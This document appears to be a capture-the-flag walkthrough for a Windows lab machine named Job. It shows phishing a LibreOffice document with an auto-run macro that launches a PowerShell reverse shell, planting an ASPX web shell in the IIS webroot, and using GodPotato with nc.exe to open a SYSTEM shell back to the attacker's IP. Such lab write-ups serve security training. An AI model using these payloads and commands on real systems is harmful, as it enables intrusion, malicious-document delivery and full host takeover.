An Nmap scan reveals a fairly minimal attack surface — only standard Windows services are exposed.
nmap --privileged -sC -sV -vv -oA nmap/job --min-rate 5000 -T4 -p- 10.129.224.177| Port | Service | Notes |
|---|---|---|
| 25/tcp | hMailServer SMTP | AUTH LOGIN supported |
| 80/tcp | Microsoft IIS 10.0 | Static site at Job.local |
| 445/tcp | SMB | — |
| 3389/tcp | RDP | — |
| 5985/tcp | WinRM | — |
The web page at port 80 is a largely static site. The only useful detail it reveals is an instruction to submit CVs to career@job.local in LibreOffice document format. This is the key entry point.
jack.blackSince the target opens .odt files, we can embed an auto-executing macro.
Sub OnLoad
Shell("cmd /c powershell -e <BASE64_ENCODED_REVERSE_SHELL>")
End Sub.odt.With the document ready, deliver it to the target mailbox using either or :
sendemailswaks# Using sendemail
sendemail -s job.local -f "nitel <test@nitel.com>" -t career@job.local -o tls=no -m "hey pls check my cv" -a nitel.odt
# Using swaks
swaks --to career@job.local --from test@nitel.com \
--header "Subject: Hire me!" \
--body "Please review my resume" \
--attach @nitel.odt \
--server 10.129.224.177Start a listener on your attack machine and wait for the document to be opened.
PS C:\Program Files\LibreOffice\program> whoami /allUSER INFORMATION
----------------
User Name SID
============== =============================================
job\jack.black S-1-5-21-3629909232-404814612-4151782453-1000
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
jack.black runs at Medium Integrity with no directly dangerous privileges — but is a member of the developers group.
developers GroupGroup membership in developers grants write access to C:\inetpub\wwwroot. We can drop a web shell here to get code execution under the IIS application pool identity.
Upload a Nishang ASPX reverse shell:
# From jack.black's shell
copy \\10.10.14.152\share\shell.aspx C:\inetpub\wwwroot\shell.aspxThen trigger it from your browser or via curl:
curl http://job.local/shell.aspxThis gives a new shell running as the IIS application pool service account.
SYSTEMThe IIS service account has SeImpersonatePrivilege enabled — a well-known path to SYSTEM via potato-family exploits.
Upload GodPotato and nc.exe to a world-writable staging directory:
copy \\10.10.14.152\share\gp.exe C:\ProgramData\gp.exe
copy \\10.10.14.152\share\nc.exe C:\ProgramData\nc.exenc.exeC:\ProgramData\gp.exe -cmd "C:\ProgramData\nc.exe -t -e C:\Windows\System32\cmd.exe 10.10.14.152 7000"nc.exe (pure PowerShell)C:\ProgramData\gp.exe -cmd "powershell -ep bypass -e <BASE64_ENCODED_REVERSE_SHELL>"Catch the callback on your listener — and you're SYSTEM.
flowchart TD
subgraph Z["Enumeration"]
direction LR
A[Attacker] --> B[Send malicious .odt\nto career@job.local]
B --> C[LibreOffice macro executes\nreverse shell]
end
subgraph ZA["Privilege Escalation"]
direction TD
D[Shell as jack.black] --> E["jack.black as 'developers' group\nWrite access to C:\\inetpub\\wwwroot"]
E-->F[Upload Nishang ASPX shell\nShell as IIS App Pool]
F--> G[SeImpersonatePrivilege\nGodPotato exploit]
end
Z --> ZA
ZA --> ZAB["Shell as NT AUTHORITY\\SYSTEM"]Open Document event makes this trivially automatable.jack.black had no dangerous token privileges, but the developers group quietly granted write access to the web root — enabling a clean lateral move to a service account.C:\ProgramData, which is world-writable by default — no need for complex staging infrastructure.